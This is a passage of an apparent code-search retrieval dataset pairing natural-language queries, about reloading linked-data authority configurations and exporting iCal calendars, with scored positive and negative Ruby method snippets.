"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49306205",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49264124",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49259305",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.4925823",
"text": "def default_action; end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.49229056",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.4918999",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49171805",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49167436",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.4916559",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.49153692",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "0fe8b3b5573f8eb57ec1752658a62e4e",
"score": "0.49148256",
"text": "def call\n setup_context\n super\n end",
"title": ""
}
] |
07f8c4846aba875afc1eba8917b416b9 | Reload authority configurations get "/reload/linked_data/authorities?auth_token=YOUR_AUTH_TOKEN_DEFINED_HERE" | [
{
"docid": "c2ea2fe7a0096750cdc3b7082fc0e4ae",
"score": "0.772701",
"text": "def reload\n Qa::LinkedData::AuthorityService.load_authorities\n list\n end",
"title": ""
}
] | [
{
"docid": "fde1e964146f6577f303b7459630da13",
"score": "0.5967893",
"text": "def load_authorities\n\t\tauthorities_proc = Proc.new do |response_body|\n\t\t\t@authorities_service.parse_authorities response_body\n\t\tend\n\n\t\tload_values AUTH_LIST_URL, AUTH_HEADERS, [], &authorities_proc\t\n\tend",
"title": ""
},
{
"docid": "954983e153d5996c6d3e7ab522148a2b",
"score": "0.5945811",
"text": "def install_authority\n\n # add Authority::Abilities to resource model\n # and set authority name to UserAuthority\n gsub_file \"app/models/#{model_name}.rb\", /^.*#__admin:resource:authority__.*(\\n|\\r)/, ''\n inject_into_file \"app/models/#{model_name}.rb\",\n %Q[\n # config authority for admin_user #__admin:resource:authority__\n # adds method: creatable_by?(user), etc #__admin:resource:authority__\n # Edit config/initializers/authority.rb. #__admin:resource:authority__\n # That file documents all your options, #__admin:resource:authority__\n # but one of particular interest is config.abilities, #__admin:resource:authority__\n # which defines the verbs and corresponding adjectives #__admin:resource:authority__\n # in your app. #__admin:resource:authority__\n # #__admin:resource:authority__\n # This option determines what methods are added to your users, #__admin:resource:authority__\n # models and authorizers. #__admin:resource:authority__\n # If you need to ask user.can_deactivate?(Satellite) #__admin:resource:authority__\n # and @satellite.deactivatable_by?(user) #__admin:resource:authority__\n # #__admin:resource:authority__\n # add :deactivate => 'deactivatable' to the hash. #__admin:resource:authority__\n # => #__admin:resource:authority__\n # The defaults are: #__admin:resource:authority__\n # config.abilities = { #__admin:resource:authority__\n # :create => 'creatable', #__admin:resource:authority__\n # :read => 'readable', #__admin:resource:authority__\n # :update => 'updatable', #__admin:resource:authority__\n # :delete => 'deletable' #__admin:resource:authority__\n # } #__admin:resource:authority__\n # #__admin:resource:authority__\n include Authority::Abilities #__admin:resource:authority__\n # Set authorizer class to Admin::ResourceAuthorizer #__admin:resource:authority__\n self.authorizer_name = 'ResourceAuthorizer' #__admin:resource:authority__\n ].split(/\\n/).map { |line| line.gsub /^\\s{8}/, ''}.join(\"\\n\"),\n\n :after => /ActiveRecord::Base/\n\n end",
"title": ""
},
{
"docid": "1089bc6462fcc56da5c2bfad28612fa6",
"score": "0.5926586",
"text": "def authority=(new_authority); end",
"title": ""
},
{
"docid": "1089bc6462fcc56da5c2bfad28612fa6",
"score": "0.5926586",
"text": "def authority=(new_authority); end",
"title": ""
},
{
"docid": "27fdaea7316a7fb06c746112a8bcb6d0",
"score": "0.57563984",
"text": "def auth_config\n @authority_config ||= Qa::LinkedData::AuthorityService.authority_config(@authority_name)\n raise Qa::InvalidLinkedDataAuthority, \"Unable to initialize linked data authority '#{@authority_name}'\" if @authority_config.nil?\n @authority_config\n end",
"title": ""
},
{
"docid": "1e312b63abae7c593d6313cecbe0d1d0",
"score": "0.57328016",
"text": "def authority_config\n @authority_config ||= Qa::LinkedData::AuthorityService.authority_config(@authority_name)\n raise Qa::InvalidLinkedDataAuthority, \"Unable to initialize linked data authority '#{@authority_name}'\" if @authority_config.nil?\n convert_1_0_to_2_0_version if @authority_config.fetch(:QA_CONFIG_VERSION, '1.0') == '1.0'\n @authority_config\n end",
"title": ""
},
{
"docid": "68462b37c72bbaf0a95ebe8e71a3d60c",
"score": "0.5621704",
"text": "def edit\n @auths = @authentications.collect(&:provider)\n end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.5461729",
"text": "def authority; end",
"title": ""
},
{
"docid": "4940ff1f104ec872adbee11240932614",
"score": "0.5425708",
"text": "def load_filename auth_id\n\t\tauthorities_proc = Proc.new do |response_body|\n\t\t\t@authorities_service.parse_filename response_body\n\t\tend\n\n\t\tload_values AUTH_URL + \"#{auth_id}\", AUTH_HEADERS, '', &authorities_proc\t\n\tend",
"title": ""
},
{
"docid": "f030f3c6a4f433fe64969b4bd258f7b8",
"score": "0.5402825",
"text": "def get_authorities\n call(\"get-authorities\")\n end",
"title": ""
},
{
"docid": "4a50e3006b2b24f2685b678ee2a3ff6f",
"score": "0.5401231",
"text": "def reload\n rebuild_single_resource(Enceladus::Requester.get(\"company/#{id}\", self.class.default_params))\n end",
"title": ""
},
{
"docid": "c58c1c9445a7b46194e6f61ff103d802",
"score": "0.5387733",
"text": "def refresh(_)\n authenticate\n end",
"title": ""
},
{
"docid": "c58c1c9445a7b46194e6f61ff103d802",
"score": "0.5387733",
"text": "def refresh(_)\n authenticate\n end",
"title": ""
},
{
"docid": "80d5343a04ced0f3a6895563d6e11282",
"score": "0.5332318",
"text": "def set_authority\n @authority = Authority.find(params[:id])\n end",
"title": ""
},
{
"docid": "80d5343a04ced0f3a6895563d6e11282",
"score": "0.5332318",
"text": "def set_authority\n @authority = Authority.find(params[:id])\n end",
"title": ""
},
{
"docid": "80d5343a04ced0f3a6895563d6e11282",
"score": "0.5332318",
"text": "def set_authority\n @authority = Authority.find(params[:id])\n end",
"title": ""
},
{
"docid": "7e1497bd8c95432939000e10b6fa3be1",
"score": "0.53305495",
"text": "def reload\n refresh Mysql::REFRESH_GRANT\n end",
"title": ""
},
{
"docid": "31dd893f8f405ae2e0f4fcfef141bacf",
"score": "0.53266",
"text": "def refresh\n @access = @auth.refresh(@access)\n end",
"title": ""
},
{
"docid": "94a9aa86f312ed2dc6f0da03479e52f5",
"score": "0.53026766",
"text": "def authority\n @authority_manager\n end",
"title": ""
},
{
"docid": "b0896082e623603c34735d769b5f5c8d",
"score": "0.5281717",
"text": "def reload\n\t account_list=@api.get(\"/accounts\")['accounts']\n environment_list=@api.get(\"/environments\")['environments']\n account_list.each {|a| @accounts << Account.new(a) }\n\t\tenvironment_list.each {|e|\n\t\t account_by_id(e['account']['id']).environments << Environment.new(e['id'],e) \n\t\t}\n return true\n end",
"title": ""
},
{
"docid": "11d5f5d1972c5f89b6e6950a296a2062",
"score": "0.52815783",
"text": "def authority=(_arg0); end",
"title": ""
},
{
"docid": "f5f428c17d5e6c728505ce5dea94a883",
"score": "0.5263683",
"text": "def scm_manager_auth\n\n end",
"title": ""
},
{
"docid": "d13399612c32a3795c105d7e54523fea",
"score": "0.5243591",
"text": "def refresh_authorization\n self.write_credentials\n end",
"title": ""
},
{
"docid": "61b9629cf170c50228ab57f4a1bd1792",
"score": "0.52246875",
"text": "def update_settings(config)\n @credentialsets.merge!(config.credentialsets||{})\n @default_realm = config.default_realm.to_sym if config.default_realm\n refresh_from_env\n end",
"title": ""
},
{
"docid": "bacfc3a0db206a822eef2657bc92185e",
"score": "0.516925",
"text": "def gl_authed_uri(gl_project)\n gl_repo_uri = URI.parse(gl_project.http_url_to_repo)\n \n \"http://oauth2:#{GL_PRIVATE_TOKEN}@#{GL_SERVER}#{gl_repo_uri.path}\"\nend",
"title": ""
},
{
"docid": "668aec9b41ebef94857b950008c634f0",
"score": "0.51619494",
"text": "def reload!\n gapi = @service.list_default_acls @bucket,\n user_project: user_project\n acls = Array(gapi.items).map do |acl|\n next acl if acl.is_a? Google::Apis::StorageV1::ObjectAccessControl\n raise \"Unknown ACL format: #{acl.class}\" unless acl.is_a? Hash\n Google::Apis::StorageV1::ObjectAccessControl.from_json acl.to_json\n end\n @owners = entities_from_acls acls, \"OWNER\"\n @readers = entities_from_acls acls, \"READER\"\n end",
"title": ""
},
{
"docid": "f0ef8c03d53491ec11f1dd77329ff98e",
"score": "0.51421577",
"text": "def populate_author_revised\n datasets_found = Set.new\n # for each dataset that received the target status on the given day\n cas = CurationActivity.where(created_at: date..(date + 1.day), status: 'curation')\n cas.each do |ca|\n # action_required is either a previous status in this version, or the last status of the previous version\n this_ver_aar = CurationActivity.where(resource_id: ca.resource_id, id: 0..ca.id - 1, status: 'action_required').present?\n ident = ca.resource.identifier\n next unless ident\n\n prev_resource = ident.resources.where(id: 0..ca.resource_id - 1).last\n prev_ver_aar = prev_resource&.current_curation_status == 'action_required'\n\n datasets_found.add(ca.resource.identifier) if this_ver_aar || prev_ver_aar\n end\n\n update(author_revised: datasets_found.size)\n end",
"title": ""
},
{
"docid": "911eb6b87187cccc0dc420fd41efac70",
"score": "0.5128807",
"text": "def reload_course_config\n mod = reload_config_file\n\n AdminsController.extend(mod)\n end",
"title": ""
},
{
"docid": "e72d682bcb7689553c6a18443d3e6c09",
"score": "0.51141626",
"text": "def update_auth_credential\n @node = Node.find_by_namespace!(params.require(:namespace))\n @node.auth_credential = params.require(:auth_credential)\n render \"shared/update\", status: 200\n end",
"title": ""
},
{
"docid": "e72d682bcb7689553c6a18443d3e6c09",
"score": "0.51141626",
"text": "def update_auth_credential\n @node = Node.find_by_namespace!(params.require(:namespace))\n @node.auth_credential = params.require(:auth_credential)\n render \"shared/update\", status: 200\n end",
"title": ""
},
{
"docid": "54ccae388def5ddeba3fe042f2f6dbec",
"score": "0.511261",
"text": "def load_roles!\n Gitlab.override_role!('geo_primary_role', get('primary'))\n Gitlab.override_role!('geo_secondary_role', get('secondary'))\n end",
"title": ""
},
{
"docid": "a5a03b3c746c2c6ce9cf2086b15da7b4",
"score": "0.5079623",
"text": "def refresh_authorization\n authorization.refresh!\n self.write_credentials\n end",
"title": ""
},
{
"docid": "911f919ba1137072679b303d93d1585b",
"score": "0.5079222",
"text": "def refresh_acm(app_id_or_app_name)\n @client.app.refresh_acm(app_id_or_app_name)\n end",
"title": ""
},
{
"docid": "38ae8578cce96e315417c858eedf8f79",
"score": "0.5079123",
"text": "def reload!\n gapi = @service.list_bucket_acls @bucket, user_project: user_project\n acls = Array(gapi.items)\n @owners = entities_from_acls acls, \"OWNER\"\n @writers = entities_from_acls acls, \"WRITER\"\n @readers = entities_from_acls acls, \"READER\"\n end",
"title": ""
},
{
"docid": "2c65dd82b9f60ab1b38973b36c1ef068",
"score": "0.50648403",
"text": "def refresh_authorized?\n authorized_for?(:action => :read)\n end",
"title": ""
},
{
"docid": "e141b00b92f3385f2c23581447d82014",
"score": "0.5022646",
"text": "def populate_author_revised\n datasets_found = Set.new\n # for each dataset that received the target status on the given day\n cas = CurationActivity.where(created_at: date..(date + 1.day), status: %w[submitted curation])\n cas.each do |ca|\n # action_required is either a previous status in this version, or the last status of the previous version\n this_ver_aar = CurationActivity.where(resource_id: ca.resource_id, id: 0..ca.id - 1, status: 'action_required').present?\n ident = ca.resource&.identifier\n next unless ident\n\n prev_resource = ident.resources.where(id: 0..ca.resource_id - 1).last\n prev_ver_aar = prev_resource&.current_curation_status == 'action_required'\n\n datasets_found.add(ca.resource.identifier) if this_ver_aar || prev_ver_aar\n end\n\n update(author_revised: datasets_found.size)\n end",
"title": ""
},
{
"docid": "de560d05f2a8f1571caf493337d14f00",
"score": "0.5003661",
"text": "def index\n @remote_labs = current_user.remote_labs\n authorize RemoteLab\n end",
"title": ""
},
{
"docid": "8a42df15d307db05dcecb71f275cb2f3",
"score": "0.50033885",
"text": "def details(ach_authorization_id)\n API::request(:get, \"ach_authorizations/#{ach_authorization_id}\")\n end",
"title": ""
},
{
"docid": "c49443d2841c77d3e0eb347aef2bca1a",
"score": "0.5002265",
"text": "def borrow_auth\n token_file = File.join @old_home, '.gist-dep.yml'\n skip \"real home must be logged in for this test\" unless File.exist? token_file\n FileUtils.cp token_file, \"#{ENV['HOME']}/.gist-dep.yml\"\n yield\n ensure\n FileUtils.rm \"#{ENV['HOME']}/.gist-dep.yml\"\n end",
"title": ""
},
{
"docid": "020de3df387a6acb64eb07bf45c45e23",
"score": "0.50008756",
"text": "def renounce_authority\n Lib.keyctl_assume_authority 0\n end",
"title": ""
},
{
"docid": "594f2b0a8c121ae7a18aa310e92cd821",
"score": "0.5000264",
"text": "def fetch_geonames_data\n Rails.logger.info \"Fetching Geonames API data for #{geonames_id}\"\n authority_class.new.find(geonames_id)\n end",
"title": ""
},
{
"docid": "e9f5d7a41462ad5052c997d4ef62ddda",
"score": "0.49990246",
"text": "def refresh_from_env\n if ENV['projectnimbus_account_key'] || ENV['projectnimbus_unique_user_id']\n @credentialsets['projectnimbus'] ||= {}\n @credentialsets['projectnimbus'].merge!({'AccountKey'=> ENV['projectnimbus_account_key']}) if ENV['projectnimbus_account_key']\n @credentialsets['projectnimbus'].merge!({'UniqueUserID'=> ENV['projectnimbus_unique_user_id']}) if ENV['projectnimbus_unique_user_id']\n end\n if ENV['rgovdata_username'] || ENV['rgovdata_password']\n @credentialsets['basic'] ||= {}\n @credentialsets['basic'].merge!({'username'=> ENV['rgovdata_username']}) if ENV['rgovdata_username']\n @credentialsets['basic'].merge!({'password'=> ENV['rgovdata_password']}) if ENV['rgovdata_password']\n end\n end",
"title": ""
},
{
"docid": "cc858fa1ed9183c5ee0572ee0e9f029e",
"score": "0.4997816",
"text": "def authentasaurus_authorizable(*opts)\n options = opts.extract_options!\n \n resources :groups, options.dup\n resources :areas, options.dup\n resources :permissions, options.dup\n end",
"title": ""
},
{
"docid": "1994524d8482995e4356112c692576ec",
"score": "0.499691",
"text": "def load_scope_and_roles\n @domain, @project = services_ng.identity.find_domain_and_project(\n params.permit(:domain, :project)\n )\n @roles = services_ng.identity.roles.sort_by(&:name)\n end",
"title": ""
},
{
"docid": "76c6323bb4abf422093fadbfcc37848f",
"score": "0.49962354",
"text": "def info\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: authorizations:update [ID] [options]\")\n token = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/authorizations/#{CGI.escape(id)}\"\n ).body\n end\n puts \"Showing OAuth authorization.\"\n show_authorization(token)\n end",
"title": ""
},
{
"docid": "a1e10475a9007b3fff0b135ce0246ead",
"score": "0.49916726",
"text": "def auth_options\n { scope: resource_name, recall: 'pages#index' }\n end",
"title": ""
},
{
"docid": "fbbbd9f58a45c7597d9689b86f702389",
"score": "0.49720034",
"text": "def reload_permissions!\n reset_permissions!\n permissions_hash\n end",
"title": ""
},
{
"docid": "fbbbd9f58a45c7597d9689b86f702389",
"score": "0.49720034",
"text": "def reload_permissions!\n reset_permissions!\n permissions_hash\n end",
"title": ""
},
{
"docid": "8ea46372ae36234858bf94954831d8fe",
"score": "0.49567533",
"text": "def ach_authorizations(entity_id)\n API::request(:get, FundAmerica.base_uri + \"entities/#{entity_id}/ach_authorizations\")\n end",
"title": ""
},
{
"docid": "4fb80b7de2dfab10ff641b09f8812ae9",
"score": "0.4955557",
"text": "def load_authority(authority)\n call(\"load-authority\", Message.new(authority))\n end",
"title": ""
},
{
"docid": "28673e16076ba6b2d8a4c98077be3af8",
"score": "0.4954467",
"text": "def auth_link\n end",
"title": ""
},
{
"docid": "0130c4ca379c2239e23deeb286181ca8",
"score": "0.4953034",
"text": "def set_authcredential\n @authcredential = Authcredential.find(params[:id])\n end",
"title": ""
},
{
"docid": "3d59afdab3770a9de59945b9df0869a8",
"score": "0.49458706",
"text": "def authlevels_reload!\n @@authlevels_cache = Hash.new{|h, k| h[k] = {}}\n end",
"title": ""
},
{
"docid": "31863deff90e5ff50cd51298c4b865da",
"score": "0.49434304",
"text": "def update_authorizedkeys\n user.update_authorizedkeys\n end",
"title": ""
},
{
"docid": "1e59a0b6fc4dd1148aff67d396de4bc1",
"score": "0.49356",
"text": "def revoke_all_application_authorizations(_options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "423e0135a81551f36ef68767130cad91",
"score": "0.4930653",
"text": "def update_lara_portal_refs(old_url='learn.concord.org', new_url=\"my-portal.concordqa.org\")\n update_server_name(LARA_COLUMNS_TO_SEARCH, old_url, new_url)\n # Danger: remove all publications that aren't to the new portal.\n # delete_unused_portal_publications(new_url)\nend",
"title": ""
},
{
"docid": "6519a2f19b9db8c04d891f4d744e19e8",
"score": "0.49304682",
"text": "def refresh_author_names_caches(*)\n string, principal_author_last_name = make_author_names_caches\n update_attribute :author_names_string_cache, string\n update_attribute :principal_author_last_name_cache, principal_author_last_name\n end",
"title": ""
},
{
"docid": "891b7b56af0f1e552a5ab4ef647e9851",
"score": "0.4921293",
"text": "def auth_link\n @auth_link ||= if provider.present?\n link, data = provider.auth_link(connector_response_url_options)\n provider_session.data = data\n link = \"#{link}&state=#{provider.key}\" unless link.to_s.include?('state')\n link\n end\n end",
"title": ""
},
{
"docid": "c973cb1304d17c77c98579dd57ca0aeb",
"score": "0.49199715",
"text": "def setup\n @org = revokedorganizations(:oakleaves)\n end",
"title": ""
},
{
"docid": "d0974a252fa04971df2afe467faec6ca",
"score": "0.49152482",
"text": "def authority_info_access\n read_extension_by_oid('authorityInfoAccess')\n end",
"title": ""
},
{
"docid": "b3509cd4f152e0291f664f9c37240607",
"score": "0.49134335",
"text": "def load_credentials\n store.load_credentials\n end",
"title": ""
},
{
"docid": "21a0849808cb09e154bad2845ee31702",
"score": "0.49065915",
"text": "def acl(reload = false)\n expirable_memoize(reload) do\n self.class.acl(name, reload)\n end\n end",
"title": ""
},
{
"docid": "b77b0f705980f3e3a4acd6b28cf28c38",
"score": "0.4901638",
"text": "def show_loan_disbursion\n @loan_installments = @loan.loan_installment_container.loan_installments unless @loan.loan_installment_container.nil?\n authorize Loan\n end",
"title": ""
},
{
"docid": "bdda81d57248dcbd3301f552932ac86d",
"score": "0.49013358",
"text": "def auth_load(access_token)\n @access_token = OAuth2::AccessToken.from_hash(@oauth2_client, access_token)\n @access_token = @access_token.refresh! if @access_token.expired?\n @access_token\n end",
"title": ""
},
{
"docid": "85f113192b107d30da2e444ce98da1b6",
"score": "0.4889438",
"text": "def admin_for_companies\n get(\"/organizationalEntityAcls?q=roleAssignee&role=ADMINISTRATOR&state=APPROVED&count=100\")\n end",
"title": ""
},
{
"docid": "1ed4d1b9296b7aebf5d507332d14cb31",
"score": "0.48836982",
"text": "def authorize\n @auth = {\n \"username\" => ENV[\"GITHUB_USER\"],\n \"password\" => ENV[\"GITHUB_PASS\"] \n }\n end",
"title": ""
},
{
"docid": "48b77acd9f8d1d4b96704ef18b377c01",
"score": "0.48687574",
"text": "def set_referralauthority\n @referralauthority = Referralauthority.find(params[:id])\n end",
"title": ""
},
{
"docid": "6964582dcd2be4089585e9acf754befd",
"score": "0.4868289",
"text": "def ca_refresh_tokens!(refresh_token)\n cognito_provider.admin_initiate_auth(\n user_pool_id: web_pool_id,\n client_id: web_client_id,\n auth_flow: 'REFRESH_TOKEN_AUTH',\n auth_parameters: {\n REFRESH_TOKEN: refresh_token\n }\n )\n end",
"title": ""
},
{
"docid": "32b4c56afb26949aae62909c111cb63c",
"score": "0.4862965",
"text": "def after_oauth_token_authentication\n end",
"title": ""
},
{
"docid": "233d93129ce91afd717fe6c9a2b39a71",
"score": "0.48617452",
"text": "def sync_auth_code\n auth_code = message_hash.dig('AuthCode')\n suite.generate_corp(auth_code)\n end",
"title": ""
},
{
"docid": "4068d62524413688c2751361d579ef20",
"score": "0.4860087",
"text": "def host_authorization; end",
"title": ""
},
{
"docid": "80d51940d059ef2215585ead568aac56",
"score": "0.48593345",
"text": "def manage_reload(m)\n return unless is_admin m.user.authname\n\n synchronize(:SavingServersState) do\n @settings = YAML.load_file(ROOT_DIR + '/conf/ServerSharing.settings.yaml') \n end\n\n m.reply \"Configuration files reloaded\"\n end",
"title": ""
},
{
"docid": "697c1f44ad286c98642534776c6e28f7",
"score": "0.4852051",
"text": "def reload\n proxy_owner.buckets(true)\n end",
"title": ""
},
{
"docid": "268e76b933d6bf598d91837b64529376",
"score": "0.4844766",
"text": "def cleanup_token token=nil\n unless token\n config_file = \"#{ENV['HOME']}/.gist-dep.yml\"\n return unless File.exist? config_file\n token = YAML.load_file(config_file)[:token]\n end\n for auth in auth_client.authorizations\n auth_client.delete_authorization auth.id if auth.token == token\n end\n end",
"title": ""
},
{
"docid": "a205e8de0a2b90fa96cbe32fd7b41aff",
"score": "0.48421955",
"text": "def authorize_cmtool\n true\n end",
"title": ""
},
{
"docid": "8dc6e097eb952195575efcb0b8bc9214",
"score": "0.4839914",
"text": "def load_admins\n admin_role.users = [] # Remove all the admin users every time you reload\n admin_role.save\n @admins_config.each_key do |provider|\n @admins_config[provider][\"admin\"].each do |a|\n make_admin(a, provider)\n end\n end\n end",
"title": ""
},
{
"docid": "aa9350f9a51e20ef0ebe3809470bb15c",
"score": "0.48391783",
"text": "def refresh_authorization\n # Handled implicitly by auth lib, here in case need to override\n logger.debug('Retrying after authentication failure')\n end",
"title": ""
},
{
"docid": "6226e237290e770cbd2e52fe1eccb50b",
"score": "0.4832608",
"text": "def set_authentication_authority\n value = ';ShadowHash;HASHLIST:'\n authority = NSMutableArray.new \n if @kernel_version_major >= 11\n value << '<SALTED-SHA512>'\n else\n value << '<SALTED-SHA1>'\n end\n authority << value\n @user['authentication_authority'] = authority\n end",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
},
{
"docid": "0fd830a07bbf281823a34b2c66b542b4",
"score": "0.4826193",
"text": "def reload\n load 'config/environment.rb'\nend",
"title": ""
}
] |
daf1897c41f259790b2acf9705356042 | Converts the given CalendarBuilder to an iCal stream. | [
{
"docid": "7659d4114de68e04af5da63a2795865a",
"score": "0.60990274",
"text": "def to_ical\n create_internal_calendar\n @calendar.export\n end",
"title": ""
}
] | [
{
"docid": "a4d08acdf3c5bb114c0327895b548d0d",
"score": "0.5841535",
"text": "def to_ical\n events\n Rails.logger.info 'Generating calendar from Facebook events'\n @calendar.to_ical\n end",
"title": ""
},
{
"docid": "d46f4ff66ed788240b3fa760df66252b",
"score": "0.5796641",
"text": "def to_ics\n cal = Icalendar::Calendar.new\n cal.add_event ics_event_attributes\n cal.to_ical\n end",
"title": ""
},
{
"docid": "a4637c6be89a6b1f5e23b884f8cfd285",
"score": "0.57958037",
"text": "def to_ics\n calendar = Icalendar::Calendar.new\n self.events.where(accepted: true, cancelled: false).each do |e|\n new_event = calendar.event\n new_event.dtstart = e.start_dtime\n new_event.dtend = e.end_dtime\n new_event.summary = e.title\n new_event.description = e.summary\n new_event.location = \"#{e.location} - #{e.room}\"\n new_event.uid = e.slug\n end\n calendar.to_ical\n end",
"title": ""
},
{
"docid": "ad201db8ba421eeb1ce3b9248e301d32",
"score": "0.56873983",
"text": "def push_iCal(calendar)\n calendar = fix_iCal(calendar)\n content_type 'text/calendar'\n attachment('birthdays.ics')\n calendar.to_ical\n end",
"title": ""
},
{
"docid": "1f767a18c0297f30321f586f661ef9a8",
"score": "0.56659746",
"text": "def to_ical\n FormatEventsIcal.perform(events: events).ical\n end",
"title": ""
},
{
"docid": "40b15cc95b56f4f5d5719903e76875a9",
"score": "0.56427085",
"text": "def build_ical(builder)\n end",
"title": ""
},
{
"docid": "3551ba20e3d99ab10db4e6a8beb74186",
"score": "0.5615612",
"text": "def export(stream=nil)\n wrapper_calendar = Calendar.new\n wrapper_calendar.add_subcomponent(self)\n wrapper_calendar.export(stream)\n end",
"title": ""
},
{
"docid": "c0ba77aa3b610f5935e6f7b58e0537b6",
"score": "0.56056714",
"text": "def to_ics\n cal = Icalendar::Calendar.new\n event = Icalendar::Event.new\n event.start = self.departure_time.iso8601.gsub(/[-:]/, '')\n event.end = self.arrival_time.iso8601.gsub(/[-:]/, '')\n event.summary = \"#{self.invitation_title}\"\n event.organizer = %w(mailto:plan@timejust.com)\n event.description = strip_tags(self.google_event_detail).gsub(' ', ' ')\n event.location = self.invitation_location\n event.add_attendee \"#{self.user.email}\", {\"PARTSTAT\" => \"ACCEPTED\", \"RSVP=FALSE\" => \"FALSE\"} \n event.status = 'CONFIRMED'\n event.transp = 'OPAQUE'\n event.created = Time.now.utc.iso8601.gsub(/[-:]/, '')\n cal.ip_method = 'REQUEST'\n cal.add_event(event)\n cal.to_ical\n end",
"title": ""
},
{
"docid": "60806c4d9b9095967370d176cfcf3a12",
"score": "0.5377861",
"text": "def to_ical_calendar(events)\n # Create new ical calendar\n calendar = Icalendar::Calendar.new\n # Setting time zone\n calendar.timezone { |t| t.tzid = 'Europe/Berlin' }\n # Add every object in array to new created calendar\n events.each { |event| calendar.add_event(event.to_ical) }\n\n calendar\n end",
"title": ""
},
{
"docid": "1f9fdb48ce955a565392d27875069d3b",
"score": "0.5324656",
"text": "def to_ics\n cale = Icalendar::Event.new\n cale.dtstart = starttime\n cale.dtend = endtime\n cale.summary = route.ical_title\n cale.description = route.ical_description\n cale.created = created_at\n cale.last_modified = updated_at\n # cale.uid = id # Don't do this in real life !!! why they say this ?\n cale\n end",
"title": ""
},
{
"docid": "bc0cde5e95843de59f40161aeadaf875",
"score": "0.5264132",
